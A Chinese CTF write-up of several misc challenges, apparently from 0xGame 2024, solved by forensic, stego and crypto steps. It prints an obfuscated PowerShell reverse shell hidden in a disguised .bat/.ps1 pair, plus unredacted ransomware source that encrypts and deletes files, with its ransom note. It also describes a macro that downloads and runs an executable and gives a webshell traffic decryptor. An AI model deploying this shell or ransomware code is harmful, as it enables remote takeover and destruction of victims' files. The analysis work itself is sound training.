其中打*的是我出的题
Misc 0xGame2048* 提取一下题目中的关键词”2048”、”base”搜索一下,其实不难找到一种叫做base2048的编码。解密的方法有很多,我这里用的是toolsfx。
一明一暗* 这道题在出题时使用的是Bandizip 7.36,默认使用了快速压缩的方法。然而很多师傅的Bandizip默认的是正常压缩,因而在做题时出现了无法执行攻击的问题,这里不是出题人本意o(╥﹏╥)o,出题时并没有想过在这里设置门槛,给师傅们磕一个了。Orz
然而仍然有很多厉害的师傅通过各种方法解出来了,比如挨个尝试各种压缩方法、通过文件大小判断正确的压缩方法、以及直接从attachment.zip中抽去1.zip使其成为一个明文包(膜拜),因此也就没有修改题目。
接下来说一下预期解。
首先将得到的f1ag.jpg压缩成一个明文包,然后使用ARCHPR执行明文攻击。明文攻击时用不着等这个进度条全部走完,只需要到如下状态就可以直接点停止,保存下来的zip文件就是已经解密好的。
根据hint.txt的内容可以得知这是一个盲水印,可以在网上找到这样一个工具,直接对flag.png提取就行。
加密的压缩包? 用010editor查看,压缩包末尾给了一个password,可知这个压缩包原本应该是被加密了的。但是从加密标识位(下图选中部分)来看,这里是被设置成了未加密,因此这里其实是个伪不加密。
将加密位改为09以后保存,输入密码0xGame2024即可解压
我的世界基岩版(?* 先说一下预期解:
下载地图模组xaero’s minimap和xaero’s worldmap即可大概看到flag的轮廓,就是地上的那些基岩组成的字。接下来就是实地考察一下+尝试,可以得到flag是0xGame{MC_SErver_4_CTFers}
此外还有很多方法也都在预期之内,比如向上搭天梯看、使用tweakeroo模组直接灵魂出窍飞起来看、或者直接开各种各样的外挂都行。
服务器开出来一段时间后,有师傅搭建并维护了出生点物资领取处、天路、铁轨等造福后来的师傅(辛苦了)。但也有一些调皮的师傅,到处插告示牌在上面留假flag或者做假引导,出题人都在发现的第一时间进行了拆除。所以不要再拷打出题人了,那真的不是题目的一部分o(╥﹏╥)o :(
呜呜呜~我再也不敢乱点了* 灵感来源于CVE-2023-38831,当时看到感觉挺有意思的,就当成题出了
不过从解题来说知不知道这个CVE影响其实不大,感兴趣的可以了解一下
题目附件给了一个 somethingGOOD.pcapng
和一个what_is_this.log
,打开流量包可以看到是TLS1.3协议的流量:
查阅资料可知可以用 key log
文件,也就是what_is_this.log
来解密TLS流量,在wireshark中的 编辑->首选项->协议
里找到TLS:
之后就能看到http协议传输的 wuyu.zip
,可以在 文件->导出对象->HTTP
中提取出来并解压,可以看到introduction.txt
目录下有两个可疑文件,clean_file_rubbish.ps1
以及 introduction.txt .bat
可以先对 introduction.txt .bat
进行分析,里面大部分是注释,真正执行的是当前目录下的ps1脚本文件:
于是可以继续分析 clean_file_rubbish.ps1
,表面上是一个清理文件的功能,但同样这些代码都是被注释掉的,往下拖拉可以看到真正被混淆的powershell代码:
1 2 3 4 5 6 7 8 $Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm = "JExIT1NUID0gIjE5Mi4xNjguOTMuMTMyIjsgJExQT1JUID0gMjMzMzsgJFRDUENsaWVudCA9IE5ldy1PYmplY3QgTmV0LlNvY2tldHMuVENQQ2xpZW50KCRMSE9TVCwgJExQT1JUKTsgJE5ldHdvcmtTdHJlYW0gPSAkVENQQ2xpZW50LkdldFN0cmVhbSgpOyAkU3RyZWFtUmVhZGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyLkF1dG9GbHVzaCA9ICR0cnVlOyAkQnVmZmVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDEwMjQ7IHdoaWxlICgkVENQQ2xpZW50LkNvbm5lY3RlZCkgeyB3aGlsZSAoJE5ldHdvcmtTdHJlYW0uRGF0YUF2YWlsYWJsZSkgeyAkUmF3RGF0YSA9ICROZXR3b3JrU3RyZWFtLlJlYWQoJEJ1ZmZlciwgMCwgJEJ1ZmZlci5MZW5ndGgpOyAkQ29kZSA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkUmF3RGF0YSAtMSkgfTsgaWYgKCRUQ1BDbGllbnQuQ29ubmVjdGVkIC1hbmQgJENvZGUuTGVuZ3RoIC1ndCAxKSB7ICRPdXRwdXQgPSB0cnkgeyBJbnZva2UtRXhwcmVzc2lvbiAoJENvZGUpIDI+JjEgfSBjYXRjaCB7ICRfIH07ICRTdHJlYW1Xcml0ZXIuV3JpdGUoIiRPdXRwdXRgbiIpOyAkQ29kZSA9ICRudWxsIH0gfTsgJFRDUENsaWVudC5DbG9zZSgpOyAkTmV0d29ya1N0cmVhbS5DbG9zZSgpOyAkU3RyZWFtUmVhZGVyLkNsb3NlKCk7ICRTdHJlYW1Xcml0ZXIuQ2xvc2UoKQ==" $SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1 = [System.Text.Encoding ]::UTF8.GetString([System.Convert ]::FromBase64String($Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm ))Invoke-Expression $SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1
主要是将变量名变得复杂一些+base64加密关键代码,最终解完混淆可以发现执行了一个反弹shell的操作:
1 $LHOST = "192.168.93.132" ; $LPORT = 2333 ; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST , $LPORT ); $NetworkStream = $TCPClient .GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream ); $StreamWriter = New-Object IO.StreamWriter($NetworkStream ); $StreamWriter .AutoFlush = $true ; $Buffer = New-Object System.Byte[] 1024 ; while ($TCPClient .Connected) { while ($NetworkStream .DataAvailable) { $RawData = $NetworkStream .Read($Buffer , 0 , $Buffer .Length); $Code = ([text.encoding ]::UTF8).GetString($Buffer , 0 , $RawData -1 ) }; if ($TCPClient .Connected -and $Code .Length -gt 1 ) { $Output = try { Invoke-Expression ($Code ) 2 >&1 } catch { $_ }; $StreamWriter .Write("$Output `n" ); $Code = $null } }; $TCPClient .Close(); $NetworkStream .Close(); $StreamReader .Close(); $StreamWriter .Close()
之后计算MD5值就能得到flag:
我叫曼波 题目附件给了 encode.py
,加密的流程基本都给出了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import randomimport base64flag = "0xGame{This_is_a_fake_flag}" def real_real_real_random (): random_num = random.randint(1 ,1000 ) return str (random_num) def RC4 (plain,K ): S = [0 ] * 256 T = [0 ] * 256 for i in range (0 ,256 ): S[i] = i T[i] = K[i % len (K)] j = 0 for i in range (0 ,256 ): j = (j + S[i] + ord (T[i])) % 256 S[i], S[j] = S[j], S[i] i = 0 j = 0 cipher = [] for s in plain: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] t = (S[i] + S[j]) % 256 k = S[t] cipher.append(chr (ord (s) ^ k)) return (base64.b64encode("" .join(cipher).encode())).decode() def base3 (s ): base3_s = "" for i in s: dec_value = ord (i) base3_c = "" while dec_value > 0 : base3_c += str (dec_value % 3 ) dec_value = dec_value // 3 base3_c = base3_c[::-1 ].rjust(5 ,"0" ) base3_s += base3_c return (base3_s) def manbo_encode (base3_s ): manbo_dict = {"0" :"曼波" ,"1" :"哦耶" ,"2" :"哇嗷" } manbo_text = "" for i in base3_s: manbo_text += manbo_dict[i] return manbo_text def encode (i ): flag_part = flag[i:i+1 ] a = real_real_real_random() b = RC4(flag_part,a) c = base3(b) d = manbo_encode(c) return a,d
分析一下可以知道先生成随机数用作RC4的KEY,再传入flag_part进行RC4加密,之后进行三进制编码,最后自定义了一个曼波编码,于是可以编写decode.py
并进行远程交互:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import base64from pwn import *def manbo_decode (d ): manbo_dict = {"曼波" :"0" ,"哦耶" :"1" ,"哇嗷" :"2" } c = "" for i in range (0 ,len (d),2 ): c += manbo_dict[d[i:i+2 ]] return c def base3 (c ): b = "" for i in range (0 ,len (c),5 ): b += chr (int (c[i:i+5 ],base=3 )) return b def RC4 (cipher,K ): S = [0 ] * 256 T = [0 ] * 256 for i in range (0 ,256 ): S[i] = i T[i] = K[i % len (K)] j = 0 for i in range (0 ,256 ): j = (j + S[i] + ord (T[i])) % 256 S[i], S[j] = S[j], S[i] i = 0 j = 0 plain = [] cipher = base64.b64decode(cipher.encode()).decode() for s in cipher: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] t = (S[i] + S[j]) % 256 k = S[t] plain.append(chr (ord (s) ^ k)) return "" .join(plain) def generate (): p.sendlineafter(b"> " ,b"1" ) def getkey (): p.sendlineafter(b"> " ,b"2" ) key = p.recvline().decode().replace("\n" ,"" ) return key def getciphertext (): p.sendlineafter(b"> " ,b"3" ) ciphertext = p.recvline().decode().replace("\n" ,"" ) return ciphertext def decode (k,c ): c2 = manbo_decode(c) c3 = base3(c2) pf = RC4(c3,k) return pf p = remote("47.98.178.117" ,1111 ) flag = "" while (1 ): generate() key = getkey() ciphertext = getciphertext() part_of_flag = decode(key,ciphertext) flag += part_of_flag print (flag)
报告哈基米 题目附件只给了一个 mijiha.png
,拖入010 Editor看一下,一眼就能看见文件尾的逆置字符串,再关注一下chunk块就能发现倒数第二个IDAT块未满的情况下还跟了一个IDAT块,不过其实眼神好一些可以直接注意到上方的 txt.ahijim
:
先对文件尾的字符串逆置一下可以得到:
1 Maybe You Need To Know Arnold Cat?
查阅资料可以知道这是猫映射变换,可以进行逆变换,不过需要知道a,b
参数以及shuffle_times
置乱次数,经过一些尝试可以发现这些参数通过LSB隐写进图片中了,可以用stegsolve,也可以用zsteg:
之后编写脚本或者直接在网上找到逆变换脚本即可解出flag前半部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from PIL import Imagedef arnold_decode (image,a,b ): decode_image = Image.new(image.mode, image.size) h,w = image.size data = image.load() ddata = decode_image.load() N = h for y in range (h): for x in range (w): nx = ((a * b + 1 ) * x - b * y) % N ny = (y - a * x) % N ddata[ny, nx] = data[y, x] return decode_image img = Image.open ("mijiha.png" ) origin_img = arnold_decode(img,35 ,7 ) origin_img.show()
再分析多出来的chunk块,仔细观察可以发现是zip逆置了,提取出来:
解压得到mijiha.txt
:
1 2 ?reppuT sihT sI 2526565031717334081355849302824518400002066054780560033875031426082285618693525319794798626066006125490363219506086284195590452459190680646206136430850230509326192863922658924373311369100100099532515379974605057083065159988318523088554342510823923801250157027140252790785117812414283997607047894726844336402237327944299070706739459672938738683171995926543691983512367190948019577689694975313311316787244413406201168210658030717811912751907802312004909911805602609847391116950248882484065492329404895296665244558410377999740959307786584149849
同样将其整段逆置:
1 2 9489414856877039590479997730148554425666925984049232945604842888420596111937489062065081199094002132087091572191187170308560128611026043144427876131133135794969867759108490917632153891963456295991713868378392769549376070709924497237322046334486274987407067993824142187115870972520417207510521083293280152434558803258138899515603807505064799735152359900010019631133734298562293682916239050320580346316026460860919542540955914826806059123630945216006606268974979135253968165822806241305783300650874506602000048154282039485531804337171305656252 Is This Tupper?
查找Tupper相关资料,发现有在线工具可以直接解,拿到flag后半部分:
或者在github上也能找到相关项目https://github.com/cariad/tupper:
神秘电波* 搜索一下grc文件,不难发现这是gnuradio图形化设计文件。下载gnuradio后打开即可看到流程图。
从constellation object那个模块可以看到,这里是进行了bpsk调制,只不过后面稍微加了一点简单的数学运算。去gnuradio的官方文档 可以查到bpsk的解调方法。
但是显然这边还得改改,有几点要注意,首先文档中不是像题目中一样从文件输入的,文档中用的是虚拟源,输出也是虚拟的。另外题目中调制时有polyphase clock sync这一步,而题目中没有,所以在解调的时候得加上。因此,预期的解调流程图如下:
点击顶上的run,先generate,再execute。这个小窗口刚出来差不多就可以关掉了,以免生成的flag.txt太大。
用010 editor可以看到,flag.txt是个二进制文件,每个字节不是00就是01。
用脚本将00转换成0,01转换成1
1 2 3 4 5 6 7 8 9 with open ('flag.txt' ,'rb' ) as f: data=f.read() res='' with open ('out.txt' ,'w' ) as f: for i in data: if i==0x01 : f.write('1' ) elif i==0x00 : f.write('0' )
转换出的二进制丢进cyberchef即可看见flag
由于解调时一些数据的丢失,这里存在一些乱码。题目提示了flag是标准uuid形式,结合前后不难推断出flag:0xGame{38df7992-6c53-11ef-b522-c8348e2c93c6}
重生之我在南邮当CTF大王 硬玩游戏可以拿到flag2,flag3,flag4,不过flag1可能需要按照许愿树的hint去做
可以在data
文件夹中找到各张地图的json数据,一个一个看就会发现所有flag都在里面
flag1:
flag2:
flag3:
flag4:
上网找找资料可以知道这是兽音编码后的结果:
四段拼起来就是flag
Crazy Thursday v me 50 btc* 下载下来的附件中有一个pptm文件,搜索一下可以知道这是一个启用了宏的ppt,查看一下宏代码。
(另外这里还有个小彩蛋,移开第二张ppt里的图片可以看到一行字,不过这与题目无关)
这里的逻辑是在播放到第二张ppt的时候就从某个服务器上下载summer.exe并运行。
访问一下http://47.239.17.55/summer.exe,下载得到summer.exe。
丢进exeinfope查一下,可以看到这个程序是用python编写的,或者熟悉的可以直接从图标看出来这点。
先用pyinstxtractor.py 将其拆为pyc文件
从拆解出的文件中找到summer.pyc,使用uncompyle6(pip install下载)对其进行反编译,得到python代码。
正如在题目描述中所说,这里为了师傅们电脑的安全性,删除了文件加密和原文件删除的相关代码,但是这并不影响做题,接下来在这里贴出未删减版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import osimport fnmatchfrom Crypto.Cipher import DES3from Crypto.Util.Padding import padfrom Crypto.Util.number import *from secret import k3y,readmeimport base64def f (dir ='.' , ext=['.txt' , '.zip' , '.7z' , '.rar' , '.gz' , '.png' , '.jpg' , '.bmp' , '.gif' , '.mp3' , '.wav' , '.avi' , '.doc' , '.docx' , '.xls' , '.xlsx' , '.pdf' , '.ppt' , '.pptx' , '.mp4' , '.mov' , '.flv' , '.mkv' , '.swf' , '.dll' , '.sys' , '.iso' , '.vmdk' , '.vhd' , '.vhdx' , '.ova' ,] ): ff = [] for ro, di, fi in os.walk(dir ): for ex in ext: for na in fnmatch.filter (fi, '*' + ex): fp = os.path.join(ro, na) ff.append(fp) return ff def encrypt1 (key, plaintext ): cipher = DES3.new(key, DES3.MODE_ECB) padded_plaintext = pad(plaintext, DES3.block_size) ciphertext = cipher.encrypt(padded_plaintext) return ciphertext def encrypt2 (m ): p=getPrime(256 ) q=getPrime(256 ) n=p*q e=65537 m1 = bytes_to_long(m) c = pow (m1, e, n) return (n,c) def release (txt,m ): with open ("Oops!.txt" ,'w' ) as f: f.write(txt+'\n\n\n' ) f.write(base64.b64encode((str (m[0 ].bit_length())+str (m[0 ])+str (m[1 ].bit_length())+str (m[1 ])).encode()).decode()) if __name__ == "__main__" : fl = f() for fi in fl: with open (fi, 'rb' ) as f: data = f.read() os.remove(fi) data = encrypt1(k3y, data) with open (fi+'.encrypted' , 'wb' ) as f: f.write(data) msg=encrypt2(k3y) release(readme,msg)
这里的代码明显是出题人自己手搓的,所以网上是没法找到用于解密的程序的。
接下来阅读一下代码的逻辑,可以看出大概是这样一个过程:查找当前目录下一些特定后缀名的文件–>读取文件内容–>删除原文件–>对文件内容进行3DES加密–>将内容写进一个新的文件,文件名为原文件名加上.encrypted–>对前面一步中3DES时使用的密钥进行RSA加密,并且将RSA使用的n和加密后的密文以特定格式拼接后进行base64编码,以特定格式写入一同释放的文本中。
文本在附件中已经给出,就是Oops!.txt,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 Hello, w8nn9z! Your file has been encrypted! I have to inform you that due to my special encryption algorithm, all important files on your computer have been encrypted! This means that without a special key provided by me, you will not be able to access these files. To recover your files, you must follow the following steps: 1. Pay the equivalent of $50 in Bitcoin to the designated Bitcoin address before the next Crazy Thursday. :) 2. After payment is completed, please send the transaction ID and the string at the end of this file via email to st4rr@example.com . 3. After receiving your payment confirmation, I will provide you with the key and the instruction on how to use it. If payment is not received within 72 hours, the price of the decryption instruction will double. In addition, if you attempt to recover data on your own or do not follow instructions, your files may be permanently deleted. :( Warning: Do not attempt to unlock files or use third-party tools on your own, as this may result in irreversible data loss. Similarly, any cooperation with law enforcement agencies will result in the destruction of keys, making it impossible to recover files. :( NTExNjYyMjMyMDc3MDI1MjcxMzk4MzA0OTUyNTUzODUyOTQ0MjM5OTgwNjM5OTExNDYwMTE1NjA0MjQ3OTE2MjU1NjUwMTc0MzAyNTU0NjMwMTk4MjEzMTAxMzk3MDQzMDk0OTYxMjc1OTQ5ODkwOTUwODg5NDM1NDM2ODg2Nzk1OTQwNzYzODY0MjI3MjUzNTQ0MDc2NzUxMTkzMzUwOTE0NjMzOTUyOTEzNTQ0MTQwMzMyNDE4NjYyMjczNzEyNTQ3OTA4OTgxNTY1MzUxNDEzNjU3NTUzMzYxNDcxNjQzOTIwMzc4ODQwOTk2NDI4NDgyMTI3MDEwNTAzMDI2MDY3NTg3MzkyMDAwMDMwNDY1Mzc3MjAzNDQzNTk3MDI3MTE4OTA3MTE2OTE1MTAyODkwOTcwNDYzNzI=
最后的一行base64编码显然就是解密用的关键信息。
需要说明的是,这里用上面的方法去逆向secret.pyc会发现,我们要找的密钥是随机生成的,没法直接得到。secret.py的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Random import get_random_bytesk3y=b'Summer' +get_random_bytes(18 ) readme=''' Hello, w8nn9z! Your file has been encrypted! I have to inform you that due to my special encryption algorithm, all important files on your computer have been encrypted! This means that without a special key provided by me, you will not be able to access these files. To recover your files, you must follow the following steps: 1. Pay the equivalent of $50 in Bitcoin to the designated Bitcoin address before the next Crazy Thursday. :) 2. After payment is completed, please send the transaction ID and the string at the end of this file via email to st4rr@example.com . 3. After receiving your payment confirmation, I will provide you with the key and the instruction on how to use it. If payment is not received within 72 hours, the price of the decryption instruction will double. In addition, if you attempt to recover data on your own or do not follow instructions, your files may be permanently deleted. :( Warning: Do not attempt to unlock files or use third-party tools on your own, as this may result in irreversible data loss. Similarly, any cooperation with law enforcement agencies will result in the destruction of keys, making it impossible to recover files. :( '''
那么来看下怎么分析这串base64编码,当然首先是解码,得到一串数字
1 51166223207702527139830495255385294423998063991146011560424791625565017430255463019821310139704309496127594989095088943543688679594076386422725354407675119335091463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
通过分析代码得到,这串数字的格式是 n的二进制长度+n+c的二进制长度+c,因此不难进行如下分段
1 2 3 4 511 6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933 509 1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
使用factordb分解一下n,这里在出题时已经提前将p和q提交到了factordb
RSA应该不必多说了,网上能找到很多教程,接下来写个脚本解密附件中的autumn.wav.encrypted
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import gmpy2from Crypto.Util.number import *from Crypto.Cipher import DES3from Crypto.Util.Padding import unpadp=64816076191920076931967680257669007967886202806676552562757735711115285212307 q=102170960652478489355215071707263191814765888101601364955857801471459364198319 n=6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933 c=1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372 phi=(p-1 )*(q-1 ) d=gmpy2.invert(65537 ,phi) key=long_to_bytes(pow (c,d,n)) with open ('autumn.wav.encrypted' ,'rb' ) as f: ciphertext=f.read().strip() cipher = DES3.new(key, DES3.MODE_ECB) padded_plaintext = cipher.decrypt(ciphertext) plaintext = unpad(padded_plaintext, DES3.block_size) with open ('autumn.wav' ,'wb' ) as f: f.write(plaintext)
这样就成功得到了autumn.wav。先用010editor看一下,在文件末尾可以发现一串暂时不知道干什么用的密码
这里是存在deepsound的隐写,其实有些师傅看了hint就知道了。这里需要将deepsound更新到较新的版本才能提取出来。
打开winter.txt,里面看似什么都没有,但实际上有很多空格,这个是snow隐写
用前面在010中得到密码提取,得到flag
Encrypted file 附件给了一个 secret.php
和一个 Behinder.pcapng
,php打开是乱码还不知道有什么用先放一边,先分析流量包,搜搜文件名就大概可以知道是冰蝎流量,网上有很多资料可以参考
流量前面一大段都是用 dirsearch
在扫目录,可以发现攻击者找到一个upload.php
,之后就是经典的冰蝎流量分析:
上传的 shell.php
的作用是对后续的攻击命令进行解密并执行,可以直接用于解密流量里的攻击命令,第一段和第二段分别是在进行密钥协商和返回phpinfo()的命令回显,可以直接从第三段开始往后进行分析
以第三段为例,直接用流量里的 shell.php
进行解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function Decrypt ($data ) { $key ="e45e329feb5d925b" ; $bs ="base64_" ."decode" ; $after =$bs ($data ."" ); for ($i =0 ;$i <strlen ($after );$i ++) { $after [$i ] = $after [$i ]^$key [$i +1 &15 ]; } return $after ; } $shell = "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